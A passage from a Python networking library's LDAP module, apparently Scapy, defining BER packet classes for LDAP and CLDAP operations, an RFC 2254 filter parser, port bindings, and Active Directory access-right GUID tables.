ASN1F_LDAP_Authentication_simple,\n            ASN1F_LDAP_Authentication_krbv42LDAP,\n            ASN1F_LDAP_Authentication_krbv42DSA,\n            LDAP_Authentication_SaslCredentials,\n        ),\n        implicit_tag=ASN1_Class_LDAP.BindRequest,\n    )\n\n\nclass LDAP_BindResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *(\n            LDAPResult\n            + (\n                ASN1F_optional(\n                    # For GSSAPI, the response is wrapped in\n                    # LDAP_Authentication_SaslCredentials\n                    ASN1F_STRING(\"serverSaslCredsWrap\", \"\", implicit_tag=0xA7),\n                ),\n                ASN1F_optional(\n                    ASN1F_STRING(\"serverSaslCreds\", \"\", implicit_tag=0x87),\n                ),\n            )\n        ),\n        implicit_tag=ASN1_Class_LDAP.BindResponse,\n    )\n\n    @property\n    def serverCreds(self):\n        \"\"\"\n        serverCreds field in SicilyBindResponse\n        \"\"\"\n        return self.matchedDN.val\n\n    @serverCreds.setter\n    def serverCreds(self, val):\n        \"\"\"\n        serverCreds field in SicilyBindResponse\n        \"\"\"\n        self.matchedDN = ASN1_STRING(val)\n\n    @property\n    def serverSaslCredsData(self):\n        \"\"\"\n        Get serverSaslCreds or serverSaslCredsWrap depending on what's available\n        \"\"\"\n        if self.serverSaslCredsWrap and self.serverSaslCredsWrap.val:\n            wrap = LDAP_Authentication_SaslCredentials(self.serverSaslCredsWrap.val)\n            val = wrap.credentials\n            if isinstance(val, ASN1_STRING):\n                return val.val\n            return bytes(val)\n        elif self.serverSaslCreds and self.serverSaslCreds.val:\n            return self.serverSaslCreds.val\n        else:\n            return None\n\n\n# Unbind operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.3\n\n\nclass LDAP_UnbindRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_NULL(\"info\", 0),\n        implicit_tag=ASN1_Class_LDAP.UnbindRequest,\n    )\n\n\n# Search operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.5\n\n\nclass LDAP_SubstringFilterInitial(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = LDAPString(\"val\", \"\")\n\n\nclass LDAP_SubstringFilterAny(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = LDAPString(\"val\", \"\")\n\n\nclass LDAP_SubstringFilterFinal(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = LDAPString(\"val\", \"\")\n\n\nclass LDAP_SubstringFilterStr(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"str\",\n        ASN1_STRING(\"\"),\n        ASN1F_PACKET(\n            \"initial\",\n            LDAP_SubstringFilterInitial(),\n            LDAP_SubstringFilterInitial,\n            implicit_tag=0x80,\n        ),\n        ASN1F_PACKET(\n            \"any\", LDAP_SubstringFilterAny(), LDAP_SubstringFilterAny, implicit_tag=0x81\n        ),\n        ASN1F_PACKET(\n            \"final\",\n            LDAP_SubstringFilterFinal(),\n            LDAP_SubstringFilterFinal,\n            implicit_tag=0x82,\n        ),\n    )\n\n\nclass LDAP_SubstringFilter(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        AttributeType(\"type\", \"\"),\n        ASN1F_SEQUENCE_OF(\"filters\", [], LDAP_SubstringFilterStr),\n    )\n\n\n_LDAP_Filter = lambda *args, **kwargs: LDAP_Filter(*args, **kwargs)\n\n\nclass LDAP_FilterAnd(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SET_OF(\"vals\", [], _LDAP_Filter)\n\n\nclass LDAP_FilterOr(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SET_OF(\"vals\", [], _LDAP_Filter)\n\n\nclass LDAP_FilterNot(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"val\", None, None, next_cls_cb=lambda *args, **kwargs: LDAP_Filter)\n    )\n\n\nclass LDAP_FilterPresent(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeType(\"present\", \"objectClass\")\n\n\nclass LDAP_FilterEqual(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeValueAssertion.ASN1_root\n\n\nclass LDAP_FilterGreaterOrEqual(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeValueAssertion.ASN1_root\n\n\nclass LDAP_FilterLessOrEqual(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeValueAssertion.ASN1_root\n\n\nclass LDAP_FilterApproxMatch(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeValueAssertion.ASN1_root\n\n\nclass LDAP_FilterExtensibleMatch(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            LDAPString(\"matchingRule\", \"\", implicit_tag=0x81),\n        ),\n        ASN1F_optional(\n            LDAPString(\"type\", \"\", implicit_tag=0x81),\n        ),\n        AttributeValue(\"matchValue\", \"\", implicit_tag=0x82),\n        ASN1F_BOOLEAN(\"dnAttributes\", False, implicit_tag=0x84),\n    )\n\n\nclass ASN1_Class_LDAP_Filter(ASN1_Class):\n    name = \"LDAP Filter\"\n    # CONTEXT-SPECIFIC + CONSTRUCTED = 0x80 | 0x20\n    And = 0xA0\n    Or = 0xA1\n    Not = 0xA2\n    EqualityMatch = 0xA3\n    Substrings = 0xA4\n    GreaterOrEqual = 0xA5\n    LessOrEqual = 0xA6\n    Present = 0x87  # not constructed\n    ApproxMatch = 0xA8\n    ExtensibleMatch = 0xA9\n\n\nclass LDAP_Filter(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"filter\",\n        LDAP_FilterPresent(),\n        ASN1F_PACKET(\n            \"and_\", None, LDAP_FilterAnd, implicit_tag=ASN1_Class_LDAP_Filter.And\n        ),\n        ASN1F_PACKET(\n            \"or_\", None, LDAP_FilterOr, implicit_tag=ASN1_Class_LDAP_Filter.Or\n        ),\n        ASN1F_PACKET(\n            \"not_\", None, LDAP_FilterNot, implicit_tag=ASN1_Class_LDAP_Filter.Not\n        ),\n        ASN1F_PACKET(\n            \"equalityMatch\",\n            None,\n            LDAP_FilterEqual,\n            implicit_tag=ASN1_Class_LDAP_Filter.EqualityMatch,\n        ),\n        ASN1F_PACKET(\n            \"substrings\",\n            None,\n            LDAP_SubstringFilter,\n            implicit_tag=ASN1_Class_LDAP_Filter.Substrings,\n        ),\n        ASN1F_PACKET(\n            \"greaterOrEqual\",\n            None,\n            LDAP_FilterGreaterOrEqual,\n            implicit_tag=ASN1_Class_LDAP_Filter.GreaterOrEqual,\n        ),\n        ASN1F_PACKET(\n            \"lessOrEqual\",\n            None,\n            LDAP_FilterLessOrEqual,\n            implicit_tag=ASN1_Class_LDAP_Filter.LessOrEqual,\n        ),\n        ASN1F_PACKET(\n            \"present\",\n            None,\n            LDAP_FilterPresent,\n            implicit_tag=ASN1_Class_LDAP_Filter.Present,\n        ),\n        ASN1F_PACKET(\n            \"approxMatch\",\n            None,\n            LDAP_FilterApproxMatch,\n            implicit_tag=ASN1_Class_LDAP_Filter.ApproxMatch,\n        ),\n        ASN1F_PACKET(\n            \"extensibleMatch\",\n            None,\n            LDAP_FilterExtensibleMatch,\n            implicit_tag=ASN1_Class_LDAP_Filter.ExtensibleMatch,\n        ),\n    )\n\n    @staticmethod\n    def from_rfc2254_string(filter: str):\n        \"\"\"\n        Convert a RFC-2254 filter to LDAP_Filter\n        \"\"\"\n        # Note: this code is very dumb to be readable.\n        _lerr = \"Invalid LDAP filter string: \"\n        if filter.lstrip()[0] != \"(\":\n            filter = \"(%s)\" % filter\n\n        # 1. Cheap lexer.\n        tokens = []\n        cur = tokens\n        backtrack = []\n        filterlen = len(filter)\n        i = 0\n        while i < filterlen:\n            c = filter[i]\n            i += 1\n            if c in [\" \", \"\\t\", \"\\n\"]:\n                # skip spaces\n                continue\n            elif c == \"(\":\n                # enclosure\n                cur.append([])\n                backtrack.append(cur)\n                cur = cur[-1]\n            elif c == \")\":\n                # end of enclosure\n                if not backtrack:\n                    raise ValueError(_lerr + \"parenthesis unmatched.\")\n                cur = backtrack.pop(-1)\n            elif c in \"&|!\":\n                # and / or / not\n                cur.append(c)\n            elif c in \"=\":\n                # filtertype\n                if cur[-1] in \"~><:\":\n                    cur[-1] += c\n                    continue\n                cur.append(c)\n            elif c in \"~><\":\n                # comparisons\n                cur.append(c)\n            elif c == \":\":\n                # extensible\n                cur.append(c)\n            elif c == \"*\":\n                # substring\n                cur.append(c)\n            else:\n                # value\n                v = \"\"\n                for x in filter[i - 1 :]:\n                    if x in \"():!|&~<>=*\":\n                        break\n                    v += x\n                if not v:\n                    raise ValueError(_lerr + \"critical failure (impossible).\")\n                i += len(v) - 1\n                cur.append(v)\n\n        # Check that parenthesis were closed\n        if backtrack:\n            raise ValueError(_lerr + \"parenthesis unmatched.\")\n\n        # LDAP filters must have an empty enclosure ()\n        tokens = tokens[0]\n\n        # 2. Cheap grammar parser.\n        # Doing it recursively is trivial.\n        def _getfld(x):\n            if not x:\n                raise ValueError(_lerr + \"empty enclosure.\")\n            elif len(x) == 1 and isinstance(x[0], list):\n                # useless enclosure\n                return _getfld(x[0])\n            elif x[0] in \"&|\":\n                # multinary operator\n                if len(x) < 3:\n                    raise ValueError(_lerr + \"bad use of multinary operator.\")\n                return (LDAP_FilterAnd if x[0] == \"&\" else LDAP_FilterOr)(\n                    vals=[LDAP_Filter(filter=_getfld(y)) for y in x[1:]]\n                )\n            elif x[0] == \"!\":\n                # unary operator\n                if len(x) != 2:\n                    raise ValueError(_lerr + \"bad use of unary operator.\")\n                return LDAP_FilterNot(\n                    val=LDAP_Filter(filter=_getfld(x[1])),\n                )\n            elif \"=\" in x and \"*\" in x:\n                # substring\n                if len(x) < 3 or x[1] != \"=\":\n                    raise ValueError(_lerr + \"bad use of substring.\")\n                return LDAP_SubstringFilter(\n                    type=ASN1_STRING(x[0].strip()),\n                    filters=[\n                        LDAP_SubstringFilterStr(\n                            str=(\n                                LDAP_SubstringFilterFinal\n                                if i == (len(x) - 3)\n                                else (\n                                    LDAP_SubstringFilterInitial\n                                    if i == 0\n                                    else LDAP_SubstringFilterAny\n                                )\n                            )(val=ASN1_STRING(y))\n                        )\n                        for i, y in enumerate(x[2:])\n                        if y != \"*\"\n                    ],\n                )\n            elif \":=\" in x:\n                # extensible\n                raise NotImplementedError(\"Extensible not implemented.\")\n            elif any(y in [\"<=\", \">=\", \"~=\", \"=\"] for y in x):\n                # simple\n                if len(x) != 3 or \"=\" not in x[1]:\n                    raise ValueError(_lerr + \"bad use of comparison.\")\n                if x[2] == \"*\":\n                    return LDAP_FilterPresent(present=ASN1_STRING(x[0]))\n                return (\n                    LDAP_FilterLessOrEqual\n                    if \"<=\" in x\n                    else (\n                        LDAP_FilterGreaterOrEqual\n                        if \">=\" in x\n                        else LDAP_FilterApproxMatch if \"~=\" in x else LDAP_FilterEqual\n                    )\n                )(\n                    attributeType=ASN1_STRING(x[0].strip()),\n                    attributeValue=ASN1_STRING(x[2]),\n                )\n            else:\n                raise ValueError(_lerr + \"invalid filter.\")\n\n        return LDAP_Filter(filter=_getfld(tokens))\n\n\nclass LDAP_SearchRequestAttribute(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeType(\"type\", \"\")\n\n\nclass LDAP_SearchRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPDN(\"baseObject\", \"\"),\n        ASN1F_ENUMERATED(\n            \"scope\", 0, {0: \"baseObject\", 1: \"singleLevel\", 2: \"wholeSubtree\"}\n        ),\n        ASN1F_ENUMERATED(\n            \"derefAliases\",\n            0,\n            {\n                0: \"neverDerefAliases\",\n                1: \"derefInSearching\",\n                2: \"derefFindingBaseObj\",\n                3: \"derefAlways\",\n            },\n        ),\n        ASN1F_INTEGER(\"sizeLimit\", 0),\n        ASN1F_INTEGER(\"timeLimit\", 0),\n        ASN1F_BOOLEAN(\"attrsOnly\", False),\n        ASN1F_PACKET(\"filter\", LDAP_Filter(), LDAP_Filter),\n        ASN1F_SEQUENCE_OF(\"attributes\", [], LDAP_SearchRequestAttribute),\n        implicit_tag=ASN1_Class_LDAP.SearchRequest,\n    )\n\n\nclass LDAP_AttributeValue(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = AttributeValue(\"value\", \"\")\n\n\nclass LDAP_PartialAttribute(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        AttributeType(\"type\", \"\"),\n        ASN1F_SET_OF(\"values\", [], LDAP_AttributeValue),\n    )\n\n\nclass LDAP_SearchResponseEntry(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPDN(\"objectName\", \"\"),\n        ASN1F_SEQUENCE_OF(\n            \"attributes\",\n            LDAP_PartialAttribute(),\n            LDAP_PartialAttribute,\n        ),\n        implicit_tag=ASN1_Class_LDAP.SearchResultEntry,\n    )\n\n\nclass LDAP_SearchResponseResultDone(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *LDAPResult,\n        implicit_tag=ASN1_Class_LDAP.SearchResultDone,\n    )\n\n\nclass LDAP_SearchResponseReference(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\n        \"uris\",\n        [],\n        URI,\n        implicit_tag=ASN1_Class_LDAP.SearchResultReference,\n    )\n\n\n# Modify Operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.6\n\n\nclass LDAP_ModifyRequestChange(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_ENUMERATED(\n            \"operation\",\n            0,\n            {\n                0: \"add\",\n                1: \"delete\",\n                2: \"replace\",\n            },\n        ),\n        ASN1F_PACKET(\"modification\", LDAP_PartialAttribute(), LDAP_PartialAttribute),\n    )\n\n\nclass LDAP_ModifyRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPDN(\"object\", \"\"),\n        ASN1F_SEQUENCE_OF(\"changes\", [], LDAP_ModifyRequestChange),\n        implicit_tag=ASN1_Class_LDAP.ModifyRequest,\n    )\n\n\nclass LDAP_ModifyResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *LDAPResult,\n        implicit_tag=ASN1_Class_LDAP.ModifyResponse,\n    )\n\n\n# Add Operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.7\n\n\nclass LDAP_Attribute(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = LDAP_PartialAttribute.ASN1_root\n\n\nclass LDAP_AddRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPDN(\"entry\", \"\"),\n        ASN1F_SEQUENCE_OF(\n            \"attributes\",\n            LDAP_Attribute(),\n            LDAP_Attribute,\n        ),\n        implicit_tag=ASN1_Class_LDAP.AddRequest,\n    )\n\n\nclass LDAP_AddResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *LDAPResult,\n        implicit_tag=ASN1_Class_LDAP.AddResponse,\n    )\n\n\n# Delete Operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.8\n\n\nclass LDAP_DelRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = LDAPDN(\n        \"entry\",\n        \"\",\n        implicit_tag=ASN1_Class_LDAP.DelRequest,\n    )\n\n\nclass LDAP_DelResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *LDAPResult,\n        implicit_tag=ASN1_Class_LDAP.DelResponse,\n    )\n\n\n# Modify DN Operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.9\n\n\nclass LDAP_ModifyDNRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPDN(\"entry\", \"\"),\n        LDAPDN(\"newrdn\", \"\"),\n        ASN1F_BOOLEAN(\"deleteoldrdn\", ASN1_BOOLEAN(False)),\n        ASN1F_optional(LDAPDN(\"newSuperior\", None, implicit_tag=0xA0)),\n        implicit_tag=ASN1_Class_LDAP.ModifyDNRequest,\n    )\n\n\nclass LDAP_ModifyDNResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *LDAPResult,\n        implicit_tag=ASN1_Class_LDAP.ModifyDNResponse,\n    )\n\n\n# Abandon Operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.11\n\n\nclass LDAP_AbandonRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"messageID\", 0),\n        implicit_tag=ASN1_Class_LDAP.AbandonRequest,\n    )\n\n\n# LDAP v3\n\n# RFC 4511 sect 4.12 - Extended Operation\n\n\nclass LDAP_ExtendedResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        *(\n            LDAPResult\n            + (\n                ASN1F_optional(LDAPOID(\"responseName\", None, implicit_tag=0x8A)),\n                ASN1F_optional(ASN1F_STRING(\"responseValue\", None, implicit_tag=0x8B)),\n            )\n        ),\n        implicit_tag=ASN1_Class_LDAP.ExtendedResponse,\n    )\n\n    def do_dissect(self, x):\n        # Note: Windows builds this packet with a buggy sequence size, that does not\n        # include the optional fields. Do another pass of dissection on the optionals.\n        s = super(LDAP_ExtendedResponse, self).do_dissect(x)\n        if not s:\n            return s\n        for obj in self.ASN1_root.seq[-2:]:  # only on the 2 optional fields\n            try:\n                s = obj.dissect(self, s)\n            except ASN1F_badsequence:\n                break\n        return s\n\n\n# RFC 4511 sect 4.1.11\n\n_LDAP_CONTROLS = {}\n\n\nclass _ControlValue_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_ControlValue_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        controlType = pkt.controlType.val.decode()\n        if controlType in _LDAP_CONTROLS:\n            return (\n                _LDAP_CONTROLS[controlType](val[0].val, _underlayer=pkt),\n                val[1],\n            )\n        return val\n\n\nclass LDAP_Control(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPOID(\"controlType\", \"\"),\n        ASN1F_optional(\n            ASN1F_BOOLEAN(\"criticality\", False),\n        ),\n        ASN1F_optional(_ControlValue_Field(\"controlValue\", \"\")),\n    )\n\n\n# RFC 2696 - LDAP Control Extension for Simple Paged Results Manipulation\n\n\nclass LDAP_realSearchControlValue(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"size\", 0),\n        ASN1F_STRING(\"cookie\", \"\"),\n    )\n\n\n_LDAP_CONTROLS[\"1.2.840.113556.1.4.319\"] = LDAP_realSearchControlValue\n\n\n# [MS-ADTS]\n\n\nclass LDAP_serverSDFlagsControl(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_FLAGS(\n            \"flags\",\n            None,\n            [\n                \"OWNER\",\n                \"GROUP\",\n                \"DACL\",\n                \"SACL\",\n            ],\n        )\n    )\n\n\n_LDAP_CONTROLS[\"1.2.840.113556.1.4.801\"] = LDAP_serverSDFlagsControl\n\n\n# LDAP main class\n\n\nclass LDAP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"messageID\", 0),\n        ASN1F_CHOICE(\n            \"protocolOp\",\n            LDAP_SearchRequest(),\n            LDAP_BindRequest,\n            LDAP_BindResponse,\n            LDAP_SearchRequest,\n            LDAP_SearchResponseEntry,\n            LDAP_SearchResponseResultDone,\n            LDAP_AbandonRequest,\n            LDAP_SearchResponseReference,\n            LDAP_ModifyRequest,\n            LDAP_ModifyResponse,\n            LDAP_AddRequest,\n            LDAP_AddResponse,\n            LDAP_DelRequest,\n            LDAP_DelResponse,\n            LDAP_ModifyDNRequest,\n            LDAP_ModifyDNResponse,\n            LDAP_UnbindRequest,\n            LDAP_ExtendedResponse,\n        ),\n        # LDAP v3 only\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"Controls\", None, LDAP_Control, implicit_tag=0xA0)\n        ),\n    )\n\n    show_indent = 0\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 4:\n            # Heuristic to detect SASL_Buffer\n            if _pkt[0] != 0x30:\n                if struct.unpack(\"!I\", _pkt[:4])[0] + 4 == len(_pkt):\n                    return LDAP_SASL_Buffer\n                return conf.raw_layer\n        return cls\n\n    @classmethod\n    def tcp_reassemble(cls, data, *args, **kwargs):\n        if len(data) < 4:\n            return None\n        # For LDAP, we would prefer to have the entire LDAP response\n        # (multiple LDAP concatenated) in one go, to stay consistent with\n        # what you get when using SASL.\n        remaining = data\n        while remaining:\n            try:\n                length, x = BER_len_dec(BER_id_dec(remaining)[1])\n            except (BER_Decoding_Error, IndexError):\n                return None\n            if length and len(x) >= length:\n                remaining = x[length:]\n                if not remaining:\n                    pkt = cls(data)\n                    # Packet can be a whole response yet still miss some content.\n                    if (\n                        LDAP_SearchResponseEntry in pkt\n                        and LDAP_SearchResponseResultDone not in pkt\n                    ):\n                        return None\n                    return pkt\n            else:\n                return None\n        return None\n\n    def hashret(self):\n        return b\"ldap\"\n\n    @property\n    def unsolicited(self):\n        # RFC4511 sect 4.4. - Unsolicited Notification\n        return self.messageID == 0 and isinstance(\n            self.protocolOp, LDAP_ExtendedResponse\n        )\n\n    def answers(self, other):\n        if self.unsolicited:\n            return True\n        return isinstance(other, LDAP) and other.messageID == self.messageID\n\n    def mysummary(self):\n        if not self.protocolOp or not self.messageID:\n            return \"\"\n        return (\n            \"%s(%s)\"\n            % (\n                self.protocolOp.__class__.__name__.replace(\"_\", \" \"),\n                self.messageID.val,\n            ),\n            [LDAP],\n        )\n\n\nbind_layers(LDAP, LDAP)\n\nbind_bottom_up(TCP, LDAP, dport=389)\nbind_bottom_up(TCP, LDAP, sport=389)\nbind_bottom_up(TCP, LDAP, dport=3268)\nbind_bottom_up(TCP, LDAP, sport=3268)\nbind_layers(TCP, LDAP, sport=389, dport=389)\n\n# CLDAP - rfc1798\n\n\nclass CLDAP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAP.ASN1_root.seq[0],  # messageID\n        ASN1F_optional(\n            LDAPDN(\"user\", \"\"),\n        ),\n        LDAP.ASN1_root.seq[1],  # protocolOp\n    )\n\n    def answers(self, other):\n        return isinstance(other, CLDAP) and other.messageID == self.messageID\n\n\nbind_layers(CLDAP, CLDAP)\n\nbind_bottom_up(UDP, CLDAP, dport=389)\nbind_bottom_up(UDP, CLDAP, sport=389)\nbind_layers(UDP, CLDAP, sport=389, dport=389)\n\n# [MS-ADTS] sect 3.1.1.2.3.3\n\nLDAP_PROPERTY_SET = {\n    uuid.UUID(\n        \"C7407360-20BF-11D0-A768-00AA006E0529\"\n    ): \"Domain Password & Lockout Policies\",\n    uuid.UUID(\"59BA2F42-79A2-11D0-9020-00C04FC2D3CF\"): \"General Information\",\n    uuid.UUID(\"4C164200-20C0-11D0-A768-00AA006E0529\"): \"Account Restrictions\",\n    uuid.UUID(\"5F202010-79A5-11D0-9020-00C04FC2D4CF\"): \"Logon Information\",\n    uuid.UUID(\"BC0AC240-79A9-11D0-9020-00C04FC2D4CF\"): \"Group Membership\",\n    uuid.UUID(\"E45795B2-9455-11D1-AEBD-0000F80367C1\"): \"Phone and Mail Options\",\n    uuid.UUID(\"77B5B886-944A-11D1-AEBD-0000F80367C1\"): \"Personal Information\",\n    uuid.UUID(\"E45795B3-9455-11D1-AEBD-0000F80367C1\"): \"Web Information\",\n    uuid.UUID(\"E48D0154-BCF8-11D1-8702-00C04FB96050\"): \"Public Information\",\n    uuid.UUID(\"037088F8-0AE1-11D2-B422-00A0C968F939\"): \"Remote Access Information\",\n    uuid.UUID(\"B8119FD0-04F6-4762-AB7A-4986C76B3F9A\"): \"Other Domain Parameters\",\n    uuid.UUID(\"72E39547-7B18-11D1-ADEF-00C04FD8D5CD\"): \"DNS Host Name Attributes\",\n    uuid.UUID(\"FFA6F046-CA4B-4FEB-B40D-04DFEE722543\"): \"MS-TS-GatewayAccess\",\n    uuid.UUID(\"91E647DE-D96F-4B70-9557-D63FF4F3CCD8\"): \"Private Information\",\n    uuid.UUID(\"5805BC62-BDC9-4428-A5E2-856A0F4C185E\"): \"Terminal Server License Server\",\n}\n\n# [MS-ADTS] sect 5.1.3.2.1\n\nLDAP_CONTROL_ACCESS_RIGHTS = {\n    uuid.UUID(\"ee914b82-0a98-11d1-adbb-00c04fd8d5cd\"): \"Abandon-Replication\",\n    uuid.UUID(\"440820ad-65b4-11d1-a3da-0000f875ae0d\"): \"Add-GUID\",\n    uuid.UUID(\"1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd\"): \"Allocate-Rids\",\n    uuid.UUID(\"68b1d179-0d15-4d4f-ab71-46152e79a7bc\"): \"Allowed-To-Authenticate\",\n    uuid.UUID(\"edacfd8f-ffb3-11d1-b41d-00a0c968f939\"): \"Apply-Group-Policy\",\n    uuid.UUID(\"0e10c968-78fb-11d2-90d4-00c04f79dc55\"): \"Certificate-Enrollment\",\n    uuid.UUID(\"a05b8cc2-17bc-4802-a710-e7c15ab866a2\"): \"Certificate-AutoEnrollment\",\n    uuid.UUID(\"014bf69c-7b3b-11d1-85f6-08002be74fab\"): \"Change-Domain-Master\",\n    uuid.UUID(\"cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd\"): \"Change-Infrastructure-Master\",\n    uuid.UUID(\"bae50096-4752-11d1-9052-00c04fc2d4cf\"): \"Change-PDC\",\n    uuid.UUID(\"d58d5f36-0a98-11d1-adbb-00c04fd8d5cd\"): \"Change-Rid-Master\",\n    uuid.UUID(\"e12b56b6-0a95-11d1-adbb-00c04fd8d5cd\"): \"Change-Schema-Master\",\n    uuid.UUID(\"e2a36dc9-ae17-47c3-b58b-be34c55ba633\"): \"Create-Inbound-Forest-Trust\",\n    uuid.UUID(\"fec364e0-0a98-11d1-adbb-00c04fd8d5cd\"): \"Do-Garbage-Collection\",\n    uuid.UUID(\"ab721a52-1e2f-11d0-9819-00aa0040529b\"): \"Domain-Administer-Server\",\n    uuid.UUID(\"69ae6200-7f46-11d2-b9ad-00c04f79f805\"): \"DS-Check-Stale-Phantoms\",\n    uuid.UUID(\"2f16c4a5-b98e-432c-952a-cb388ba33f2e\"): \"DS-Execute-Intentions-Script\",\n    uuid.UUID(\"9923a32a-3607-11d2-b9be-0000f87a36b2\"): \"DS-Install-Replica\",\n    uuid.UUID(\"4ecc03fe-ffc0-4947-b630-eb672a8a9dbc\"): \"DS-Query-Self-Quota\",\n    uuid.UUID(\"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\"): \"DS-Replication-Get-Changes\",\n    uuid.UUID(\"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\"): \"DS-Replication-Get-Changes-All\",\n    uuid.UUID(\n        \"89e95b76-444d-4c62-991a-0facbeda640c\"\n    ): \"DS-Replication-Get-Changes-In-Filtered-Set\",\n    uuid.UUID(\"1131f6ac-9c07-11d1-f79f-00c04fc2dcd2\"): \"DS-Replication-Manage-Topology\",\n    uuid.UUID(\n        \"f98340fb-7c5b-4cdb-a00b-2ebdfa115a96\"\n    ): \"DS-Replication-Monitor-Topology\",\n    uuid.UUID(\"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2\"): \"DS-Replication-Synchronize\",\n    uuid.UUID(\n        \"05c74c5e-4deb-43b4-bd9f-86664c2a7fd5\"\n    ): \"Enable-Per-User-Reversibly-Encrypted-Password\",\n    uuid.UUID(\"b7b1b3de-ab09-4242-9e30-9980e5d322f7\"): \"Generate-RSoP-Logging\",\n    uuid.UUID(\"b7b1b3dd-ab09-4242-9e30-9980e5d322f7\"): \"Generate-RSoP-Planning\",\n    uuid.UUID(\"7c0e2a7c-a419-48e4-a995-10180aad54dd\"): \"Manage-Optional-Features\",\n    uuid.UUID(\"ba33815a-4f93-4c76-87f3-57574bff8109\"): \"Migrate-SID-History\",\n    uuid.UUID(\"b4e60130-df3f-11d1-9c86-006008764d0e\"): \"msmq-Open-Connector\",\n    uuid.UUID(\"06bd3201-df3e-11d1-9c86-006008764d0e\"): \"msmq-Peek\",\n    